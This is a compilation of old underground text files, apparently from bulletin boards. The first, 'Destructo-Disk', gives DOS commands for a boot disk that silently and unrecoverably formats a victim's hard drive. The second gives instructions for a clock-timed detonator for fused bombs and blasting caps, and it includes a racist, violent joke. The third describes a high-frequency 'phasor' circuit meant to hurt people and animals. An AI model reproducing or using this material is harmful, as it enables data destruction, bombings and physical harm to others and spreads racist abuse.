Chestii:
--+++++++++++++++++++++++++++-- |------------------Destructo-Disk--------------------|
|----------------- By Digital Misery-----------------| --+++++++++++++++++++++++++++--
Effect: Victims computer is formatted and all data replaced with '0,' so that
data recovery programs are useless to repair the damage. Procedure: Using MS-DOS's
Format.com, create a boot disk format.com a: /s Copy format.com onto the newly
created disk. copy format.com a: Using Edi, create a batch fie with the foowing
data, and save it onto the boot disk as sutoexec.bat. echo off cd a: format
c: /autotest /u How it works: Boot disk is inserted in victims computer. The
next time the computer boots, if the disk remains in, the boot disk is loaded.
The autoexec.bat file, and the commands contained within it are executed. The
first two commands prepare for the third. The command will format the specified
drive letter, in this case, drive C. the /Autotest parameter causes the command
to be performed without user intervention. the /U command calls for an unconditional
format, which replaces all data with '0's, so recovery is impossible. -DigitalMisery-
****************************************** * How to Build
a cheap, timed detonator * ****************************************** Legal
Bullshit: The information contained within is for EDUCATONAL PURPOSES ONLY.
The author of this file does not intend for the device described within to be
built. This device is perfectly legal by itself but when combined with any illegal
bombs/firecrackers it becomes illegal as well. Remember, the author of this
file is NOT IN ANY WAY RESPONSIBLE for dumb-asses who try and build/use this.
Now, on to the good stuff. Fistly you'll want an analog alarm clock. These can
be bought for a few dollars. Take the face off of it. You should then be able
to pull all of the hands off. Try not to damage them as you'll be using one
of them. Now, depending on how long you want before the fuse is lit put ONE
of the clocks hands back on. If you want about 55 minutes (or anything down
to about 1 minute) to detonate, put the minute hand back on. If you want from
11 and 1/2 hours to about 1 hour, put the hour hand on. If you want between
about 55 seconds to about 2 seconds, put the second hand on. Remember, only
put ONE hand back on. If you can take the face off your clock but can't take
the hands off, simply select the hand you want and cut the other two off. Now,
what do I do with a clock that only has one hand??? You make 'contacts'. When
the hand is at the right place, the 'contacts' touch. You can be really flashy
and use copper plates, but one of the cheapest ways is to use aluminium foil.
Have a piece that is bent up on the face at number 6 and another piece wrapped
around the hand on the clock. so, if the clock was sitting on a desk (face up)
it would look something like this: HAND FOIL | | | | +-------======= + ===//
<-----FOIL (BENT AT END TO **************************** TOUCH HAND WHEN * *
IN CORRECT CLOCK---------------------> * * POSITION) * * ****************************
___________________________________________________________ DESK ---------->
I I Join one wire onto each piece of foil. Then get a battery. If you are using
foil contacts, then a car battery is NOT reccomended as it may fry them. (The
contacts). Now, if you can, get hold of a small motorbike battery. These can
sometimes be found at the dump (if you're lucky) or they can be bought from
motorbike shops. If you can't get one, you can make a reasonably high powered
power source out of many batteries in series. (Connect + to -) Eg: WIRE---------->
/------\ /------| __-__ _____ __-__ | | | | | | | | | | | | | | | BATTERY--->
| | | | | | | | | | | | | | | | | | | | | ----- --_-- ----- | | \______/ | |
| \-----------------| | | | | \_____> TO CLOCK | \_________> TO NICHROME WIRE
If you don't know what nichrome wire is then i'll explain it. When enough electricity
is passed through nichrome wire, it gets really hot, which is why I use it.
You can buy it from almost all electronics stores. This is how to hook it all
up: .--------------. | POWER SOURCE | '--------------' | | | ONE WIRE-> | |
\-------CONTACT ON CLOCK HAND | | CONTACT ON CLOCK FACE-\ | | \-----------\
| <-------WIRE | | | | NICHROME WIRE--->^^^^^^^^-----------------------/ So,
what you have is this: One wire comes off the power source and goes through
the wire to the contact on the clock hand. When they touch, the power flows
through the two contacts and the wire into the nichrome wire. TEST IT!! If the
nichrome wire is not getting hot then you have built it wrong. It may just be
that your contacts are too resistant. Try bypassing the clock and just connecting
the wire from the nichrome wire up to the battery. If it gets hot when you do
that, but not when the the contacts touch, then try using something else for
contacts. Anyway, so your nichrome wire gets hot when the contacts touch? Good.
Set the time (if your contact is on the face of the clock at 6, and you are
using the minute hand and you want the wire to get hot in 15 minutes, you put
the minute hand on 3). Simple, right?? But what can you do with it???? Well,
these are not suggestions, this is just what it COULD be used for, the author
does NOT in any way take responsibility or endorse these uses. Firecrackers/fireworks:
Twist the nichrome wire around the fuse, set the clock and run. (This may be
used for any other type of fused bomb). Elecrically detonated bomb: Replace
the nichrome wire with whatever you would normally hook up to your bomb to detonate
it. Eg. If you are using plastic explosives, and you would normally hook a 9
volt battery up to the blasting cap, (this is only an example). Then you would
put the 9 volt battery where the power source is shown above. And you would
connect the blasting cap up to where the nichrome wire is at the moment. Well,
thats all for now, and remember, once you've set the clock, run like a black
man runs after raping a white girl while he's being chased by the KKK. Bye for
now kiddies!! -Reuter Canine Any questions/abuse??? E-mail pirate_radio@mail.com
This was published by "Sweatin' like a rapist" productions. Goodbye.
******************* * * * PANDORA'S BOX * * * * BY DR. RAT
* * * ******************* BROUGHT TO YOU FROM THE EXPANSIVE, WELL EQUIPED, AND
VERY EXPENSIVLY DECORATED LABORATORIES OF DR. RAT C.I. THIS BOX FALLS INTO THE
PRANK CATAGORY. IT HAS LITTLE PHREAK/HACK USE, EXCEPT FOR IRRITATING THE HELL
OUT OF ANYONE ON THE PHONE. IT MAKES OPERATORS MORE PISSED THAN TURNING ON YOUR
CARRIER FOR THEM. A PHASOR IS A DEVICE USING HIGH INTENSITY SOUND TO PRODUCE
PAIN. I'M SURE YOU HAVE SEEN PHASORS (CROWD/DOG CONTROL, PAIN FIELDS, ETC.)
FOR SALE IN INFORMATION UNLIMITED ADS OR CATALOGS. UNFORTUNENTLY THESE OFTEN
COST $100 TO $1000. NATCHLY THIS WOULDN'T DO FOR DR. RAT. SO I CREATED THE POOR
MAN'S PHASOR OR ...PANDORA'S BOX. PRODUCING THE SOUND WAS EASY AND THE CIRCUIT
IS PROBABLY THE SIMPLEST MEATHOD TO PRODUCE A VARIABLE SOUND FROM A 555 CHIP.
THE ONLY DRAWBACK TO P.B. IS THAT YOU NEED TO USE A $13 TWEETER BECAUSE IT USES
SO LITTLE POWER AND GIVES THE LOUDEST OUTP T OF HIGH FREQUENCY SOUND. PARTS
LIST WITH RADIO SHACK CAT NUMBERS 1. ONE 555 TIMER (RS#. 276-1723) 2. ONE .01
MFD CAPACITOR (RS#. 272-131) 3. ONE 100K VARIABLE RESISTOR (RS#. 271-1722) 4.
ONE TWEETER (RS#. 40-1381) 5. ONE 9V BATTERY 6. SOME WIRE (ANY KIND. DR. RAT
SUGGESTS RS#. 278-1294) NOTE: YOU CAN CHANGE THE VALUES OF #2 OR #3 ON THE LIST
SLIGHTLY. BUT THESE ARE EXTREMELY EASY TO FIND SO TRY TO USE THEM. CIRCUIT FOR
PANDORA'S BOX: -9 VOLTS +9 VOLTS \ ! ! I\ ! ------- ! I )---*-----*--!1 T 8!--*
I I ! ! O ! ! I )-* *-I(-*---!2 P 7! ! I/ ! ! ! ! ! / *------+---!3 5 6!--+-*
! ! ! 5 ! ! ! ! ! *-!4 5 5! ! ! ! ! ! ------- ! ! ! ! ! ! ! ! ! *----------*
! ! ! ! *-/\/\-*--------------* ^ SYMBOLS: ! ! OR --- = WIRE VERTICAL/HORIZONTAL.
! + = SHOWS WHERE TWO WIRES CROSS OVER EACH OTHER BUT DON'T TOUCH. * = SHOWS
WHERE TWO OR MORE WIRES ARE CONNECTED TOGETHER. I( = .01 CAPACITOR /\/\ ^ =
100K VARIABLE RESISTOR \ I\ I )- I I = TWEETER I )- I/ / NOTE: PIN 1 OF THE
555 IS THE PIN NEXT TO A SMALL DOT ON TOP OF THE CHIP. VARIABLE RESISTORS HAVE
THREE LEADS--THE CIRCUIT REQUIRES ONLY TWO SO CONNECT ONE WIRE TO THE MIDDLE
LEAD AND THE OTHER WIRE TO EITHER OF THE OUTER LEADS. HERE'S A PIN BY PIN READING
OF THE WIRING IN CASE THE CIRCUIT GOT SCREWED DURING TRANSMISSION. 1. PIN 1
CONNECTED TO THE -9V, ONE LEAD OF THE TWEETER, AND ONE END OF THE CAPACITOR.
2. PIN 2 CONNECTED TO PIN 6 AND THE OTHER END OF THE CAPACITOR 3. PIN 3 CONNECTED
TO OTHER LEAD OF TWEETER AND TO ONE LEAD OF THE VARIABLE RESISTOR 4. PIN 4 CONNECTED
TO PIN 8 5. PIN 5 NOT CONNECTED 6. PIN 6 CONNECTED TO PIN 2 AND OTHER LEAD OF
VARIABLE RESISTOR 7. PIN 7 NOT CONNECTED 8. PIN 8 CONNECTED TO +9V AND TO PIN
4 P.B. WORKS ESPECIALY WELL ON ANIMALS, GIRLS, AND YOUNG PEOPLE BECAUSE THE
BONES IN THIER EARS ARE SMALLER. USE THE VARIABLE RESISTOR TO ADJUST THE PITCH
TO JUST ABOVE THE HIGHEST PITCH YOU CAN HEAR. YOU MIGHT NOT NOTICE ANYTHING
AT FIST. AFTER A SHORT TIME YOU SHOULD FEEL A TINGLE OR BUZZING IN YOU NECK,
EARS, OR SINUS. A LITTLE WHILE LONGER YOU SHOULD FEEL A HEAD/NECK ACHE THAT
GROWS IN PAIN. TRY TURNING IT TO AN AUDIBAL FREQUENCY AND BLASTING IT THROUGH
THE PHONE. REMEMBER GIRLS CAN HEAR HIGHER PITCHES THAN MOST PEOPLE SO THEY CAN
TELL WHEN YOU HAVE IT ON. TRY TURNING THE PITCH A LITTLE HIGHER SO THEY CAN'T
HEAR IT. ENTERTAIN YOUR CLASS DURING FINALS. THEY CAN'T HEAR ANYTHING BECAUSE
ITS TOO HIGH PITCHED. HAVE FUN! DR. RAT DR. RAT C.I. RAT LABS, S.F., CA 1986
=-> H PITCHED. HAVE FUN! DR. RAT DR. RAT C.I. RAT LABS, S.F., CA 1986 =->